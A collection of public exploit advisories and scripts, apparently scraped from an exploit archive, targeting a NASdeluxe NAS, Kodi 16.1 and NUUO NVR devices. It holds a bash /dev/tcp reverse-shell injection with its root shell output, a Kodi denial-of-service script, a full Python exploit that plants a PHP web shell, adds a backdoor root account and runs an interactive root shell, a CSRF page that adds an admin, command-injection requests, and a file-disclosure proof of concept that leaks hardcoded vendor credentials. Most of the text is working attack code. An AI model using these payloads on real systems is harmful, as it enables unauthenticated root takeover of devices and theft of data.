Public Disclosure: 2016-08-03
CVE Reference: Not assigned
Author of Advisory: Klaus Eisentraut, SySS GmbH, https://www.syss.de/advisories/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The product "NASdeluxe NDL-2400r" [3] is vulnerable to OS Command Injection
as root. No credentials are required to exploit this vulnerability.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details / Proof-of-Concept:

The language parameter in the web interface login request of the product 
"NASdeluxe NDL-2400r" is vulnerable to an OS Command Injection as root. 
The SySS GmbH sent the following HTTPS request to the webinterface:

~~~~~
POST /usr/usrgetform.html?name=index HTTP/1.1
Host: 192.168.1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

lang=||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen
~~~~~

After sending the request, a reverse shell connected back:

~~~~~
# nc -lvvp 443
Listening on any address 443 (https)
Connection from 192.168.1.1:49070
bash: no job control in this shell
bash-3.00# whoami
root
bash-3.00# cat /img/version
2.01.09
~~~~~

The tested firmware version was 2.01.09. The most current version is 
2.01.10 according to the web page of the vendor [3]. However there are
no hints of a security update in the release notes [4]. Thus, the SySS 
GmbH assumes that this vulnerability is likely also present in the most 
current firmware version from 2009-10-22.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The product has reached end-of-life (EOL) status since more than three 
years. Thus, no patch will be provided by the vendor.

It is highly recommended to migrate to one of the newer and still 
supported NAS solutions which are (according to Starline Computer GmbH) 
not affected by this vulnerability.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2016-06-29: Vulnerability discovered
2016-07-04: asked info@starline.de for contact person (no answer)
2016-07-22: sent this advisory to info@starline.de
2016-07-22: response from vendor: won't fix (product reached EOL >3 years)
2016-08-03: public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] SySS GmbH, SYSS-2016-065
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-065.txt
[2] SySS GmbH, SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/
[3] NASdeluxe Homepage
    https://www.nasdeluxe.com/
[4] NDL-2400R Firmware Release Notes 
    https://www.nasdeluxe.com/wp-content/uploads/2008/12/NDL-2400R_NDL-2500T_FWRN_v2_01_10.171.pdf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Klaus Eisentraut of the SySS
GmbH.

E-Mail: klaus.eisentraut@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Klaus_Eisentraut.asc
Key ID: 0xBAC677AE
Key Fingerprint: F5E8 E8E1 A414 4886 0A8B 0411 DAB0 4DB5 BAC6 77AE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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HireHackking 
# Exploit Title: Kodi 16.1 Web Server Remote DoS
# Date: 06/08/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: https://kodi.tv/
# Software Link: http://mirrors.kodi.tv/releases/win32/kodi-16.1-Jarvis.exe
# Version: 16.1
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS

"""
Disclosure Timeline:
--------------------
2016-08-02: Vulnerability discovered
2016-08-04: Vendor contacted
2016-08-04: Developper answered. Kodi v16 is End Of Life and will not be fixed. 
2016-08-06: Exploit published.

 
Description :
-------------
A remote Denial Of Service exists in Kodi 16.1 (Jarvis) embedded web server when sending a specially crafted GET request.
The web server is disabled by default.
 

Instructions:
-------------
- Starts Kodi, and enable the web server in System, Services, Web server.
- Run this exploit locally or from your remote attacking machine. 
"""

import socket

host = "192.168.135.129"
port = 8080

junk    = '../' * 10
buffer  = "GET " + junk + " HTTP/1.1\r\n"
buffer += "\r\n\r\n"

try:
        print "[*] Connecting to %s:%d" % (host, port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))

        print "[*] Sending buffer... (%d bytes)" % len(buffer)
        s.send(buffer)
        s.close()

        print "[*] Done."
except:
        print "[-] Error connecting"
HireHackking 
#!/usr/bin/env python
#
#
# NUUO Remote Root Exploit
#
#
# Vendor: NUUO Inc.
# Product web page: http://www.nuuo.com
# Affected version: <=3.0.8
#
# Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
# functionality. Setup is simple and easy, with automatic port forwarding
# settings built in. NVRmini 2 supports POS integration, making this the perfect
# solution for small retail chain stores. NVRmini 2 also comes full equipped as
# a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
# and RAID functions for data protection. Choose NVR and know that your valuable video
# data is safe, always.
#
# Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from an unauthenticated command
# injection vulnerability. Due to an undocumented and hidden debugging script, an attacker
# can inject and execute arbitrary code as the root user via the 'log' GET parameter in the 
# '__debugging_center_utils___.php' script.
#
# -----------------------------------------------------
# $ nuuo.py 10.0.0.17 80
# [*] ==============================================
# [*] NUUO NVR/DVR/NDVR Remote Root Exploit
# [*] Zero Science Lab - http://www.zeroscience.mk
# [*] ==============================================
# [*] Backdoor detected!
# [*] Add root user (y/n)? n
# [*] Press [ ENTER ] to start root shell...
#
# root@nuuo:~# id
# uid=0(root) gid=0(root)
#
# root@nuuo:~# exit
#
# [*] Removing raidh.php file
# [*] Session terminated!
#
# $
# -----------------------------------------------------
#
# Tested on: GNU/Linux 3.0.8 (armv7l)
#            GNU/Linux 2.6.31.8 (armv5tel)
#            lighttpd/1.4.28
#            PHP/5.5.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Zero Science Lab - http://www.zeroscience.mk
#
#
# Advisory ID: ZSL-2016-5348
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5348.php
# NSE Script: http://www.zeroscience.mk/codes/nuuo-backdoor.nse
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40209.zip
#
#
# 14.01.2016
#

import os######
import sys#####
import time####
import urllib##
import binascii
import requests
 
__author__ = 'lqwrm'

def persist(host,port,hexy,clean):

    pwd = '''echo 'roOt:x:0:0:PWNED account:/:/bin/bash' >> /etc/passwd'''
    sdw = '''echo 'roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::' >> /etc/shadow'''
    print '[*] Adding user \'roOt\' with password \'rewt\' in passwd file.'
    requests.get('http://'+host+':'+port+'/raidh.php?cmd='+pwd)
    time.sleep(2)
    
    print '[*] Updating shadow file.'
    requests.get('http://'+host+':'+port+'/raidh.php?cmd='+sdw)
    time.sleep(2)
    
    print '[*] Shell awaits: ssh roOt@'+host
    requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
    exit(0)

def check(host,port,hexy):

    try:
        r = requests.get('http://'+host+':'+port+'/'+hexy, allow_redirects=False)
        if r.status_code == 200:
            print '[*] Backdoor detected!'
            pass
        else:
            print '[*] No backdoors here. :('
            exit(0)
    except Exception:
        print '[*] Could not connect.'
        exit(0)

def main():

    print '[*] =============================================='
    print '[*] NUUO NVR/DVR/NDVR Remote Root Exploit'
    print '[*] Zero Science Lab - http://www.zeroscience.mk'
    print '[*] =============================================='

    if (len(sys.argv) <= 2):
        print '[*] Usage: nuuo.py <ipaddress> <port>'
        exit(0)

    host = sys.argv[1]
    port = sys.argv[2]

    dbgcu = '5f5f64'#
    dbgcu+= '656275'#
    dbgcu+= '676769'#
    dbgcu+= '6e675f'#
    dbgcu+= '63656e'#
    dbgcu+= '746572'#
    dbgcu+= '5f7574'#
    dbgcu+= '696c73'#
    dbgcu+= '5f5f5f'#
    dbgcu+= '2e7068'#
    dbgcu+= '70'###'#

    hexy = binascii.unhexlify(dbgcu)
    check (host,port,hexy)

    payload = '''echo "<?php system(\$_REQUEST[\'cmd\']); ?>" > raidh.php'''
    requests.get('http://'+host+':'+port+'/'+hexy+'?log=1337;' + payload)

    clean = 'rm raidh.php'
    a1 = raw_input('[*] Add root user (y/n)? ')
    if a1.strip() == 'y' or a1.strip() == 'Y':
        persist (host,port,hexy,clean)
    else:
        pass

    print '[*] Press [ ENTER ] to start root shell...'
    raw_input()

    while True:
        try:
            cmd = raw_input('root@nuuo:~# ')
            if cmd.strip() == '':
                print '[*] Give me a command!\n'
                continue
            else:
                e = requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(cmd))
                print e.text
            if cmd.strip() == 'exit':
                print '[*] Removing raidh.php file'
                requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
                print '[*] Session terminated!'
                break
        except Exception:
            break

if __name__ == "__main__":
    main()
HireHackking 
<!--

NUUO CSRF Add Admin Exploit


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can be
exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.


Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5349
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5349.php


14.01.2016

-->


<!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 -->
<html>
  <body>
    <form action="http://10.0.0.17/users_xml.php">
      <input type="hidden" name="&#95;password2" value="admin" />
      <input type="hidden" name="addusername" value="csrfadmin" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="cmd" value="adduser" />
      <input type="hidden" name="group" value="poweruser" />
      <input type="hidden" name="displaygroup" value="power&#32;user" />
      <input type="hidden" name="magic" value="574" />
      <input type="hidden" name="liveacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="pbacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="ptzacc" value="1" />
      <input type="hidden" name="ioacc" value="1" />
      <input type="hidden" name="backupacc" value="1" />
      <input type="hidden" name="deleteacc" value="1" />
      <input type="hidden" name="emapeacc" value="1" />
      <input type="hidden" name="remotalkacc" value="1" />
      <input type="hidden" name="logacc" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
NUUO Multiple OS Command Injection Vulnerabilities


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040, NT-4040(R))
                  DP: <=04.07.0000.0030, <=04.03.0000.0035
                  FW: <=02.02.00, <=1.7.0

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

NUUO Titan NVR is NUUO's Linux-based open platform recording solution. It is built
on Linux Foundation, with cross-platform Windows and MAC client software. It supports
up to 64 channels of megapixel recording with 250 Mbps throughput. It also comes with
a myriads of features that will sure to fulfill even the most demanding projects. Supports
over 2300 camera models from over 100 vendors.

Desc: NUUO NVRmini, NVRmini2, Crystal, NVRSolo and NVRTitan suffers from multiple
authenticated OS command injection vulnerabilities. This can be exploited to inject
and execute arbitrary shell commands as the root user.

Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           lighttpd/1.4.35
           PHP/5.5.3
           PHP/5.6.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5351
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5351.php


14.01.2016

--


NVRTitan:

POST /handle_iscsi.php HTTP/1.1
Host: 10.0.0.17
Content-Length: x
Origin: http://10.0.0.17
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://10.0.0.17/iscsi.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin
Connection: close

act=discover&address=1.1.1.1|echo%20pwn&port=3260




HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Mon, 18 Apr 2016 08:52:17 GMT
Server: lighttpd/1.4.35
Content-Length: x

pwn


============================================================


NVRmini/2/Solo/Crystal:

GET /cgi-bin/cgi_system?cmd=raid_setup&act=getsmartinfo&devname=|ping%20-n%200%20localhost&rand=1452765315144 HTTP/1.1
Host: 10.0.0.17
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://10.0.0.17/raid.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
Connection: close

---

POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1
Host: 10.0.0.17
Content-Length: 97
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://10.0.0.17
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://10.0.0.17/save_config.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en
Connection: close

bfolder=%2Fmtd%2Fblock3&bfile=|ping%20-n%200%20localhost&inc_emap=no&inc_pos=no


---

Sample session from commix:

Shell > whoami
root
Shell > ls
Default.ini EMap PatrolOpt003.xml PatrolOpt009.xml PatrolOpt015.xml access apcupsd authority.lic auto_upgrade.ini autoarchive.ini camera.ini cameraparam.ini cmsserver.ini cmsstat daylightsaving.ini ddns.ini dualstreaming.ini email.ini eventaction.ini ezNUUO iobox.ini lenssetting.ini lighttpd-inc.conf lighttpd.conf liveserver.ini notice.ini nuservice.conf pos proftpd-inc.conf pushnotification raid_info.xml recordingmode.ini schedule.ini scheduler_dio.ini scheduler_motion.ini smb-inc.conf version.xml
HireHackking 
NUUO Local File Disclosure Vulnerability


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from a file disclosure
vulnerability when input passed thru the 'css' parameter to 'css_parser.php' script
is not properly verified before being used to include files. This can be exploited
to disclose contents of files from local resources.


Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5350
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5350.php


14.01.2016

--


Request:
--------
GET http://10.0.0.17/css_parser.php?css=__nvr_dat_tool___.php HTTP/1.1


Response:
---------

<?php
include('utils.php');
header("Expires: Thu, 19 Nov 1981 08:52:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

session_start();
?>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>DatTool</title>
</head>
<body>
<?php
if (isset($_POST) && isset($_POST['username']) && isset($_POST['password']))
{
    if ($_POST['username'] != 'nuuoeng' || $_POST['password'] != 'qwe23622260')
    {
        exit(0);
    }

    if (isset($_POST['act']) && $_POST['act'] == 'checkdat')
    {
        echo '<script language="javascript">';
        echo 'alert("The system will start to repair videos right after system reboot. Please go to Setting Page to reboot system manually.")';
        echo '</script>';
        touch(constant("FLASH_FOLDER")."/checkdat");
    }
?>

<p>Click the Repair button to repair the recorded videos became black due to incorrect video format. It may take a long time to repair videos, which depends on the amount of video files.</p>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
<input type="hidden" name="username" value="<?php echo $_POST['username']; ?>">
<input type="hidden" name="password" value="<?php echo htmlspecialchars( $_POST['password'] ); ?>">
<input type="hidden" name="act"      value="checkdat">
<input type="submit" value="Repair" name="submit" >
</form>

<?php
}
else
{
?>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
Usermame: <input type="text" size="15" name="username" value=""><br />
Password: <input type="password" size="15" name="password" value=""><br />
<input type="submit" value="Submit" name="submit" >
</form>
<?php
}

?>

</body>
</html>


============================================================================

Request:
--------

GET http://10.0.0.17/css_parser.php?css=css_parser.php HTTP/1.1


Response:
---------

<?php

if(!isset($_GET['css']))exit('/* please supply a "css" parameter */');
$filename=$_GET['css'];

if(strpos($filename,'..')!==false)exit('/* please use an absolute address for your css */');
$filename=$_SERVER['DOCUMENT_ROOT'].'/'.$filename;
if(!file_exists($filename))exit('/* referred css file does not exist */');

header('content-type:text/css');
header("Expires: ".gmdate("D, d M Y H:i:s", (time()+900)) . " GMT");

$matches=array();
$names=array();
$values=array();
$file=file_get_contents($filename);
foreach   ($_GET as $key=>$value)  
{
    //echo   "Key: $key; Value: $value <br/>\n ";
    if ($key != 'css')
    {
        $file = str_replace($key,$value,$file);
    }
    //system("echo \"Key: $key; Value: $value <br/>\n \" >> $filename");
} 

echo $file;

/*
foreach(array_reverse($matches[0]) as $match){
  $match=preg_replace('/\s+/',' ',rtrim(ltrim($match)));
  $names[]=preg_replace('/\s.*//*','',$match);
  $values[]=preg_replace('/^[^\s]*\s/','',$match);
}
*/

?>